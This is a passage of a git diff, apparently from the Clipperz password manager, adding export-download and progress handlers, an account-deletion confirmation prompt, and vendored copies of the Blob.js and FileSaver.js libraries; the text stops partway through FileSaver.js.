										} else if (cellCount == this.notesColumn) {
 | 
				
			||||||
 | 
											record.data.notes = this.parsedCsv[rowCount][cellCount];
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									
 | 
				
			||||||
 | 
									jsonToImport.push(record);
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							if (typeof(this.recordsToImport) == 'undefined') {
 | 
				
			||||||
 | 
								recordsToImport = MochiKit.Base.map(function(r){return r._importId},jsonToImport);
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								recordsToImport = this.recordsToImport;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							return {
 | 
				
			||||||
 | 
								'jsonToImport': jsonToImport,
 | 
				
			||||||
 | 
								'recordsToImport': recordsToImport
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=============================================================================
 | 
				
			||||||
 | 
						__syntaxFix__: "syntax fix"
 | 
				
			||||||
 | 
					});
 | 
				
			||||||
@@ -62,7 +62,11 @@ Clipperz.PM.UI.MainController = function() {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
	this.registerForNotificationCenterEvents([
 | 
						this.registerForNotificationCenterEvents([
 | 
				
			||||||
		'doLogin', 'registerNewUser', 'showRegistrationForm', 'goBack',
 | 
							'doLogin', 'registerNewUser', 'showRegistrationForm', 'goBack',
 | 
				
			||||||
		'changePassphrase', 'deleteAccount', 'importCards',
 | 
							'changePassphrase', 'deleteAccount',
 | 
				
			||||||
 | 
					//		'export',
 | 
				
			||||||
 | 
							'importCards',
 | 
				
			||||||
 | 
							'downloadExport',
 | 
				
			||||||
 | 
							'updateProgress',
 | 
				
			||||||
		'toggleSelectionPanel', 'toggleSettingsPanel',
 | 
							'toggleSelectionPanel', 'toggleSettingsPanel',
 | 
				
			||||||
		'matchMediaQuery', 'unmatchMediaQuery',
 | 
							'matchMediaQuery', 'unmatchMediaQuery',
 | 
				
			||||||
		'selectAllCards', 'selectRecentCards', 'search', 'tagSelected', 'selectUntaggedCards',
 | 
							'selectAllCards', 'selectRecentCards', 'search', 'tagSelected', 'selectUntaggedCards',
 | 
				
			||||||
@@ -105,6 +109,10 @@ MochiKit.Base.update(Clipperz.PM.UI.MainController.prototype, {
 | 
				
			|||||||
		return this._overlay;
 | 
							return this._overlay;
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						updateProgress_handler: function (aProgressPercentage) {
 | 
				
			||||||
 | 
							this.overlay().updateProgress(aProgressPercentage);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	loginForm: function () {
 | 
						loginForm: function () {
 | 
				
			||||||
		return this._loginForm;
 | 
							return this._loginForm;
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
@@ -257,7 +265,7 @@ console.log("THE BROWSER IS OFFLINE");
 | 
				
			|||||||
	checkPassphrase: function( passphraseIn ) {
 | 
						checkPassphrase: function( passphraseIn ) {
 | 
				
			||||||
		var deferredResult;
 | 
							var deferredResult;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		deferredResult = new Clipperz.Async.Deferred("MainController.deleteAccount_handler", {trace: false});
 | 
							deferredResult = new Clipperz.Async.Deferred("MainController.checkPassphrase", {trace: false});
 | 
				
			||||||
		deferredResult.addMethod(this.user(), 'getPassphrase');
 | 
							deferredResult.addMethod(this.user(), 'getPassphrase');
 | 
				
			||||||
		deferredResult.addCallback(function (candidatePassphrase, realPassphrase) { return candidatePassphrase == realPassphrase; }, passphraseIn );
 | 
							deferredResult.addCallback(function (candidatePassphrase, realPassphrase) { return candidatePassphrase == realPassphrase; }, passphraseIn );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -499,6 +507,9 @@ console.log("THE BROWSER IS OFFLINE");
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
			deferredResult = new Clipperz.Async.Deferred('MainController.updateSelectedCard', {trace:false});
 | 
								deferredResult = new Clipperz.Async.Deferred('MainController.updateSelectedCard', {trace:false});
 | 
				
			||||||
			deferredResult.addMethod(this.user(), 'getRecord', someInfo['reference']);
 | 
								deferredResult.addMethod(this.user(), 'getRecord', someInfo['reference']);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					// deferredResult.addMethod(this, function(d) {console.log(d); return d;});
 | 
				
			||||||
 | 
					
 | 
				
			||||||
			deferredResult.addMethod(this, 'collectRecordInfo');
 | 
								deferredResult.addMethod(this, 'collectRecordInfo');
 | 
				
			||||||
 | 
					
 | 
				
			||||||
			deferredResult.addMethod(this, 'setPageProperties', 'mainPage', 'selectedCard');
 | 
								deferredResult.addMethod(this, 'setPageProperties', 'mainPage', 'selectedCard');
 | 
				
			||||||
@@ -1236,6 +1247,28 @@ console.log("THE BROWSER IS OFFLINE");
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
	//----------------------------------------------------------------------------
 | 
						//----------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					//	export_handler: function(exportType) {
 | 
				
			||||||
 | 
					//		return Clipperz.PM.UI.ExportController.exportJSON( this.recordsInfo(), exportType );
 | 
				
			||||||
 | 
					//	},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						downloadExport_handler: function () {
 | 
				
			||||||
 | 
							var	exportController;
 | 
				
			||||||
 | 
							var deferredResult;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							exportController = new Clipperz.PM.UI.ExportController({'recordsInfo': this.recordsInfo()});
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							deferredResult = new Clipperz.Async.Deferred("MainController.downloadExport_handler", {trace: false});
 | 
				
			||||||
 | 
							deferredResult.addMethod(this.overlay(), 'show', "exporting …", true, true);
 | 
				
			||||||
 | 
					//		deferredResult.addCallback(MochiKit.Signal.signal, Clipperz.Signal.NotificationCenter, 'toggleSettingsPanel');
 | 
				
			||||||
 | 
							deferredResult.addMethod(exportController, 'run');
 | 
				
			||||||
 | 
							deferredResult.addMethod(this.overlay(), 'done', "", 1);
 | 
				
			||||||
 | 
							deferredResult.callback();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return deferredResult;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//----------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	changePassphrase_handler: function(newPassphrase) {
 | 
						changePassphrase_handler: function(newPassphrase) {
 | 
				
			||||||
		var	currentPage = this.pages()[this.currentPage()];
 | 
							var	currentPage = this.pages()[this.currentPage()];
 | 
				
			||||||
		var deferredResult;
 | 
							var deferredResult;
 | 
				
			||||||
@@ -1261,11 +1294,20 @@ console.log("THE BROWSER IS OFFLINE");
 | 
				
			|||||||
	
 | 
						
 | 
				
			||||||
	deleteAccount_handler: function() {
 | 
						deleteAccount_handler: function() {
 | 
				
			||||||
		var deferredResult;
 | 
							var deferredResult;
 | 
				
			||||||
 | 
							var doneMessageDelay = 2;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		deferredResult = new Clipperz.Async.Deferred("MainController.deleteAccount_handler", {trace: false});
 | 
							deferredResult = new Clipperz.Async.Deferred("MainController.deleteAccount_handler", {trace: false});
 | 
				
			||||||
 | 
							deferredResult.addCallback(MochiKit.Base.method(this, 'ask', {
 | 
				
			||||||
 | 
								'question': "Do you really want to permanently delete your account?",
 | 
				
			||||||
 | 
								'possibleAnswers':{
 | 
				
			||||||
 | 
									'cancel':	{'label':"No",	'isDefault':true,	'answer':MochiKit.Base.methodcaller('cancel', new MochiKit.Async.CancelledError())},
 | 
				
			||||||
 | 
									'revert':	{'label':"Yes",	'isDefault':false,	'answer':MochiKit.Base.methodcaller('callback')}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							})),
 | 
				
			||||||
		deferredResult.addMethod(this.overlay(), 'show', "deleting …", true);
 | 
							deferredResult.addMethod(this.overlay(), 'show', "deleting …", true);
 | 
				
			||||||
		deferredResult.addMethod(this.user(), 'deleteAccount');
 | 
							deferredResult.addMethod(this.user(), 'deleteAccount');
 | 
				
			||||||
		deferredResult.addCallback(function() { window.location.href = '/'; });
 | 
							deferredResult.addMethod(this.overlay(), 'done', "deleted", doneMessageDelay);
 | 
				
			||||||
 | 
							deferredResult.addCallback(MochiKit.Async.callLater, doneMessageDelay, function() { window.location.href = '/'; });
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		deferredResult.callback();
 | 
							deferredResult.callback();
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
 
 | 
				
			|||||||
							
								
								
									
										234
									
								
								frontend/delta/js/FileSaver/Blob.js
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										234
									
								
								frontend/delta/js/FileSaver/Blob.js
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,234 @@
 | 
				
			|||||||
 | 
					/*
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Copyright 2008-2015 Clipperz Srl
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					This file is part of Clipperz, the online password manager.
 | 
				
			||||||
 | 
					For further information about its features and functionalities please
 | 
				
			||||||
 | 
					refer to http://www.clipperz.com.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is free software: you can redistribute it and/or modify it
 | 
				
			||||||
 | 
					  under the terms of the GNU Affero General Public License as published
 | 
				
			||||||
 | 
					  by the Free Software Foundation, either version 3 of the License, or 
 | 
				
			||||||
 | 
					  (at your option) any later version.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is distributed in the hope that it will be useful, but 
 | 
				
			||||||
 | 
					  WITHOUT ANY WARRANTY; without even the implied warranty of 
 | 
				
			||||||
 | 
					  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | 
				
			||||||
 | 
					  See the GNU Affero General Public License for more details.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* You should have received a copy of the GNU Affero General Public
 | 
				
			||||||
 | 
					  License along with Clipperz. If not, see http://www.gnu.org/licenses/.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/* Blob.js
 | 
				
			||||||
 | 
					 * A Blob implementation.
 | 
				
			||||||
 | 
					 * 2014-07-24
 | 
				
			||||||
 | 
					 *
 | 
				
			||||||
 | 
					 * By Eli Grey, http://eligrey.com
 | 
				
			||||||
 | 
					 * By Devin Samarin, https://github.com/dsamarin
 | 
				
			||||||
 | 
					 * License: X11/MIT
 | 
				
			||||||
 | 
					 *   See https://github.com/eligrey/Blob.js/blob/master/LICENSE.md
 | 
				
			||||||
 | 
					 */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/*global self, unescape */
 | 
				
			||||||
 | 
					/*jslint bitwise: true, regexp: true, confusion: true, es5: true, vars: true, white: true,
 | 
				
			||||||
 | 
					  plusplus: true */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/*! @source http://purl.eligrey.com/github/Blob.js/blob/master/Blob.js */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					(function (view) {
 | 
				
			||||||
 | 
						"use strict";
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						view.URL = view.URL || view.webkitURL;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						if (view.Blob && view.URL) {
 | 
				
			||||||
 | 
							try {
 | 
				
			||||||
 | 
								new Blob;
 | 
				
			||||||
 | 
								return;
 | 
				
			||||||
 | 
							} catch (e) {}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						// Internally we use a BlobBuilder implementation to base Blob off of
 | 
				
			||||||
 | 
						// in order to support older browsers that only have BlobBuilder
 | 
				
			||||||
 | 
						var BlobBuilder = view.BlobBuilder || view.WebKitBlobBuilder || view.MozBlobBuilder || (function(view) {
 | 
				
			||||||
 | 
							var
 | 
				
			||||||
 | 
								  get_class = function(object) {
 | 
				
			||||||
 | 
									return Object.prototype.toString.call(object).match(/^\[object\s(.*)\]$/)[1];
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								, FakeBlobBuilder = function BlobBuilder() {
 | 
				
			||||||
 | 
									this.data = [];
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								, FakeBlob = function Blob(data, type, encoding) {
 | 
				
			||||||
 | 
									this.data = data;
 | 
				
			||||||
 | 
									this.size = data.length;
 | 
				
			||||||
 | 
									this.type = type;
 | 
				
			||||||
 | 
									this.encoding = encoding;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								, FBB_proto = FakeBlobBuilder.prototype
 | 
				
			||||||
 | 
								, FB_proto = FakeBlob.prototype
 | 
				
			||||||
 | 
								, FileReaderSync = view.FileReaderSync
 | 
				
			||||||
 | 
								, FileException = function(type) {
 | 
				
			||||||
 | 
									this.code = this[this.name = type];
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								, file_ex_codes = (
 | 
				
			||||||
 | 
									  "NOT_FOUND_ERR SECURITY_ERR ABORT_ERR NOT_READABLE_ERR ENCODING_ERR "
 | 
				
			||||||
 | 
									+ "NO_MODIFICATION_ALLOWED_ERR INVALID_STATE_ERR SYNTAX_ERR"
 | 
				
			||||||
 | 
								).split(" ")
 | 
				
			||||||
 | 
								, file_ex_code = file_ex_codes.length
 | 
				
			||||||
 | 
								, real_URL = view.URL || view.webkitURL || view
 | 
				
			||||||
 | 
								, real_create_object_URL = real_URL.createObjectURL
 | 
				
			||||||
 | 
								, real_revoke_object_URL = real_URL.revokeObjectURL
 | 
				
			||||||
 | 
								, URL = real_URL
 | 
				
			||||||
 | 
								, btoa = view.btoa
 | 
				
			||||||
 | 
								, atob = view.atob
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								, ArrayBuffer = view.ArrayBuffer
 | 
				
			||||||
 | 
								, Uint8Array = view.Uint8Array
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								, origin = /^[\w-]+:\/*\[?[\w\.:-]+\]?(?::[0-9]+)?/
 | 
				
			||||||
 | 
							;
 | 
				
			||||||
 | 
							FakeBlob.fake = FB_proto.fake = true;
 | 
				
			||||||
 | 
							while (file_ex_code--) {
 | 
				
			||||||
 | 
								FileException.prototype[file_ex_codes[file_ex_code]] = file_ex_code + 1;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							// Polyfill URL
 | 
				
			||||||
 | 
							if (!real_URL.createObjectURL) {
 | 
				
			||||||
 | 
								URL = view.URL = function(uri) {
 | 
				
			||||||
 | 
									var
 | 
				
			||||||
 | 
										  uri_info = document.createElementNS("http://www.w3.org/1999/xhtml", "a")
 | 
				
			||||||
 | 
										, uri_origin
 | 
				
			||||||
 | 
									;
 | 
				
			||||||
 | 
									uri_info.href = uri;
 | 
				
			||||||
 | 
									if (!("origin" in uri_info)) {
 | 
				
			||||||
 | 
										if (uri_info.protocol.toLowerCase() === "data:") {
 | 
				
			||||||
 | 
											uri_info.origin = null;
 | 
				
			||||||
 | 
										} else {
 | 
				
			||||||
 | 
											uri_origin = uri.match(origin);
 | 
				
			||||||
 | 
											uri_info.origin = uri_origin && uri_origin[1];
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									return uri_info;
 | 
				
			||||||
 | 
								};
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							URL.createObjectURL = function(blob) {
 | 
				
			||||||
 | 
								var
 | 
				
			||||||
 | 
									  type = blob.type
 | 
				
			||||||
 | 
									, data_URI_header
 | 
				
			||||||
 | 
								;
 | 
				
			||||||
 | 
								if (type === null) {
 | 
				
			||||||
 | 
									type = "application/octet-stream";
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								if (blob instanceof FakeBlob) {
 | 
				
			||||||
 | 
									data_URI_header = "data:" + type;
 | 
				
			||||||
 | 
									if (blob.encoding === "base64") {
 | 
				
			||||||
 | 
										return data_URI_header + ";base64," + blob.data;
 | 
				
			||||||
 | 
									} else if (blob.encoding === "URI") {
 | 
				
			||||||
 | 
										return data_URI_header + "," + decodeURIComponent(blob.data);
 | 
				
			||||||
 | 
									} if (btoa) {
 | 
				
			||||||
 | 
										return data_URI_header + ";base64," + btoa(blob.data);
 | 
				
			||||||
 | 
									} else {
 | 
				
			||||||
 | 
										return data_URI_header + "," + encodeURIComponent(blob.data);
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								} else if (real_create_object_URL) {
 | 
				
			||||||
 | 
									return real_create_object_URL.call(real_URL, blob);
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
							URL.revokeObjectURL = function(object_URL) {
 | 
				
			||||||
 | 
								if (object_URL.substring(0, 5) !== "data:" && real_revoke_object_URL) {
 | 
				
			||||||
 | 
									real_revoke_object_URL.call(real_URL, object_URL);
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
							FBB_proto.append = function(data/*, endings*/) {
 | 
				
			||||||
 | 
								var bb = this.data;
 | 
				
			||||||
 | 
								// decode data to a binary string
 | 
				
			||||||
 | 
								if (Uint8Array && (data instanceof ArrayBuffer || data instanceof Uint8Array)) {
 | 
				
			||||||
 | 
									var
 | 
				
			||||||
 | 
										  str = ""
 | 
				
			||||||
 | 
										, buf = new Uint8Array(data)
 | 
				
			||||||
 | 
										, i = 0
 | 
				
			||||||
 | 
										, buf_len = buf.length
 | 
				
			||||||
 | 
									;
 | 
				
			||||||
 | 
									for (; i < buf_len; i++) {
 | 
				
			||||||
 | 
										str += String.fromCharCode(buf[i]);
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									bb.push(str);
 | 
				
			||||||
 | 
								} else if (get_class(data) === "Blob" || get_class(data) === "File") {
 | 
				
			||||||
 | 
									if (FileReaderSync) {
 | 
				
			||||||
 | 
										var fr = new FileReaderSync;
 | 
				
			||||||
 | 
										bb.push(fr.readAsBinaryString(data));
 | 
				
			||||||
 | 
									} else {
 | 
				
			||||||
 | 
										// async FileReader won't work as BlobBuilder is sync
 | 
				
			||||||
 | 
										throw new FileException("NOT_READABLE_ERR");
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								} else if (data instanceof FakeBlob) {
 | 
				
			||||||
 | 
									if (data.encoding === "base64" && atob) {
 | 
				
			||||||
 | 
										bb.push(atob(data.data));
 | 
				
			||||||
 | 
									} else if (data.encoding === "URI") {
 | 
				
			||||||
 | 
										bb.push(decodeURIComponent(data.data));
 | 
				
			||||||
 | 
									} else if (data.encoding === "raw") {
 | 
				
			||||||
 | 
										bb.push(data.data);
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								} else {
 | 
				
			||||||
 | 
									if (typeof data !== "string") {
 | 
				
			||||||
 | 
										data += ""; // convert unsupported types to strings
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									// decode UTF-16 to binary string
 | 
				
			||||||
 | 
									bb.push(unescape(encodeURIComponent(data)));
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
							FBB_proto.getBlob = function(type) {
 | 
				
			||||||
 | 
								if (!arguments.length) {
 | 
				
			||||||
 | 
									type = null;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								return new FakeBlob(this.data.join(""), type, "raw");
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
							FBB_proto.toString = function() {
 | 
				
			||||||
 | 
								return "[object BlobBuilder]";
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
							FB_proto.slice = function(start, end, type) {
 | 
				
			||||||
 | 
								var args = arguments.length;
 | 
				
			||||||
 | 
								if (args < 3) {
 | 
				
			||||||
 | 
									type = null;
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								return new FakeBlob(
 | 
				
			||||||
 | 
									  this.data.slice(start, args > 1 ? end : this.data.length)
 | 
				
			||||||
 | 
									, type
 | 
				
			||||||
 | 
									, this.encoding
 | 
				
			||||||
 | 
								);
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
							FB_proto.toString = function() {
 | 
				
			||||||
 | 
								return "[object Blob]";
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
							FB_proto.close = function() {
 | 
				
			||||||
 | 
								this.size = 0;
 | 
				
			||||||
 | 
								delete this.data;
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
							return FakeBlobBuilder;
 | 
				
			||||||
 | 
						}(view));
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						view.Blob = function(blobParts, options) {
 | 
				
			||||||
 | 
							var type = options ? (options.type || "") : "";
 | 
				
			||||||
 | 
							var builder = new BlobBuilder();
 | 
				
			||||||
 | 
							if (blobParts) {
 | 
				
			||||||
 | 
								for (var i = 0, len = blobParts.length; i < len; i++) {
 | 
				
			||||||
 | 
									if (Uint8Array && blobParts[i] instanceof Uint8Array) {
 | 
				
			||||||
 | 
										builder.append(blobParts[i].buffer);
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									else {
 | 
				
			||||||
 | 
										builder.append(blobParts[i]);
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							var blob = builder.getBlob(type);
 | 
				
			||||||
 | 
							if (!blob.slice && blob.webkitSlice) {
 | 
				
			||||||
 | 
								blob.slice = blob.webkitSlice;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							return blob;
 | 
				
			||||||
 | 
						};
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						var getPrototypeOf = Object.getPrototypeOf || function(object) {
 | 
				
			||||||
 | 
							return object.__proto__;
 | 
				
			||||||
 | 
						};
 | 
				
			||||||
 | 
						view.Blob.prototype = getPrototypeOf(new view.Blob());
 | 
				
			||||||
 | 
					}(typeof self !== "undefined" && self || typeof window !== "undefined" && window || this.content || this));
 | 
				
			||||||
							
								
								
									
										271
									
								
								frontend/delta/js/FileSaver/FileSaver.js
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										271
									
								
								frontend/delta/js/FileSaver/FileSaver.js
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,271 @@
 | 
				
			|||||||
 | 
					/*
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Copyright 2008-2015 Clipperz Srl
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					This file is part of Clipperz, the online password manager.
 | 
				
			||||||
 | 
					For further information about its features and functionalities please
 | 
				
			||||||
 | 
					refer to http://www.clipperz.com.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is free software: you can redistribute it and/or modify it
 | 
				
			||||||
 | 
					  under the terms of the GNU Affero General Public License as published
 | 
				
			||||||
 | 
					  by the Free Software Foundation, either version 3 of the License, or 
 | 
				
			||||||
 | 
					  (at your option) any later version.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Clipperz is distributed in the hope that it will be useful, but 
 | 
				
			||||||
 | 
					  WITHOUT ANY WARRANTY; without even the implied warranty of 
 | 
				
			||||||
 | 
					  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 | 
				
			||||||
 | 
					  See the GNU Affero General Public License for more details.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* You should have received a copy of the GNU Affero General Public
 | 
				
			||||||
 | 
					  License along with Clipperz. If not, see http://www.gnu.org/licenses/.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/* FileSaver.js
 | 
				
			||||||
 | 
					 * A saveAs() FileSaver implementation.
 | 
				
			||||||
 | 
					 * 2015-03-04
 | 
				
			||||||
 | 
					 *
 | 
				
			||||||
 | 
					 * By Eli Grey, http://eligrey.com
 | 
				
			||||||
 | 
					 * License: X11/MIT
 | 
				
			||||||
 | 
					 *   See https://github.com/eligrey/FileSaver.js/blob/master/LICENSE.md
 | 
				
			||||||
 | 
					 */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/*global self */
 | 
				
			||||||
 | 
					/*jslint bitwise: true, indent: 4, laxbreak: true, laxcomma: true, smarttabs: true, plusplus: true */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/*! @source http://purl.eligrey.com/github/FileSaver.js/blob/master/FileSaver.js */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					var saveAs = saveAs
 | 
				
			||||||
 | 
					  // IE 10+ (native saveAs)
 | 
				
			||||||
 | 
					  || (typeof navigator !== "undefined" &&
 | 
				
			||||||
 | 
					      navigator.msSaveOrOpenBlob && navigator.msSaveOrOpenBlob.bind(navigator))
 | 
				
			||||||
 | 
					  // Everyone else
 | 
				
			||||||
 | 
					  || (function(view) {
 | 
				
			||||||
 | 
						"use strict";
 | 
				
			||||||
 | 
						// IE <10 is explicitly unsupported
 | 
				
			||||||
 | 
						if (typeof navigator !== "undefined" &&
 | 
				
			||||||
 | 
						    /MSIE [1-9]\./.test(navigator.userAgent)) {
 | 
				
			||||||
 | 
							return;
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						var
 | 
				
			||||||
 | 
							  doc = view.document
 | 
				
			||||||
 | 
							  // only get URL when necessary in case Blob.js hasn't overridden it yet
 | 
				
			||||||
 | 
							, get_URL = function() {
 | 
				
			||||||
 | 
								return view.URL || view.webkitURL || view;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							, save_link = doc.createElementNS("http://www.w3.org/1999/xhtml", "a")
 | 
				
			||||||
 | 
							, can_use_save_link = "download" in save_link
 | 
				
			||||||
 | 
							, click = function(node) {
 | 
				
			||||||
 | 
								var event = doc.createEvent("MouseEvents");
 | 
				
			||||||
 | 
								event.initMouseEvent(
 | 
				
			||||||
 | 
									"click", true, false, view, 0, 0, 0, 0, 0
 | 
				
			||||||
 | 
									, false, false, false, false, 0, null
 | 
				
			||||||
 | 
								);
 | 
				
			||||||
 | 
								node.dispatchEvent(event);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							, webkit_req_fs = view.webkitRequestFileSystem
 | 
				
			||||||
 | 
							, req_fs = view.requestFileSystem || webkit_req_fs || view.mozRequestFileSystem
 | 
				
			||||||
 | 
							, throw_outside = function(ex) {
 | 
				
			||||||
 | 
								(view.setImmediate || view.setTimeout)(function() {
 | 
				
			||||||
 | 
									throw ex;
 | 
				
			||||||
 | 
								}, 0);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							, force_saveable_type = "application/octet-stream"
 | 
				
			||||||
 | 
							, fs_min_size = 0
 | 
				
			||||||
 | 
							// See https://code.google.com/p/chromium/issues/detail?id=375297#c7 and
 | 
				
			||||||
 | 
							// https://github.com/eligrey/FileSaver.js/commit/485930a#commitcomment-8768047
 | 
				
			||||||
 | 
							// for the reasoning behind the timeout and revocation flow
 | 
				
			||||||
 | 
							, arbitrary_revoke_timeout = 500 // in ms
 | 
				
			||||||
 | 
							, revoke = function(file) {
 | 
				
			||||||
 | 
								var revoker = function() {
 | 
				
			||||||
 | 
									if (typeof file === "string") { // file is an object URL
 | 
				
			||||||
 | 
										get_URL().revokeObjectURL(file);
 | 
				
			||||||
 | 
									} else { // file is a File
 | 
				
			||||||
 | 
										file.remove();
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								};
 | 
				
			||||||
 | 
								if (view.chrome) {
 | 
				
			||||||
 | 
									revoker();
 | 
				
			||||||
 | 
								} else {
 | 
				
			||||||
 | 
									setTimeout(revoker, arbitrary_revoke_timeout);
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							, dispatch = function(filesaver, event_types, event) {
 | 
				
			||||||
 | 
								event_types = [].concat(event_types);
 | 
				
			||||||
 | 
								var i = event_types.length;
 | 
				
			||||||
 | 
								while (i--) {
 | 
				
			||||||
 | 
									var listener = filesaver["on" + event_types[i]];
 | 
				
			||||||
 | 
									if (typeof listener === "function") {
 | 
				
			||||||
 | 
										try {
 | 
				
			||||||
 | 
											listener.call(filesaver, event || filesaver);
 | 
				
			||||||
 | 
										} catch (ex) {
 | 
				
			||||||
 | 
											throw_outside(ex);
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							, FileSaver = function(blob, name) {
 | 
				
			||||||
 | 
								// First try a.download, then web filesystem, then object URLs
 | 
				
			||||||
 | 
								var
 | 
				
			||||||
 | 
									  filesaver = this
 | 
				
			||||||
 | 
									, type = blob.type
 | 
				
			||||||
 | 
									, blob_changed = false
 | 
				
			||||||
 | 
									, object_url
 | 
				
			||||||
 | 
									, target_view
 | 
				
			||||||
 | 
									, dispatch_all = function() {
 | 
				
			||||||
 | 
										dispatch(filesaver, "writestart progress write writeend".split(" "));
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									// on any filesys errors revert to saving with object URLs
 | 
				
			||||||
 | 
									, fs_error = function() {
 | 
				
			||||||
 | 
										// don't create more object URLs than needed
 | 
				
			||||||
 | 
										if (blob_changed || !object_url) {
 | 
				
			||||||
 | 
											object_url = get_URL().createObjectURL(blob);
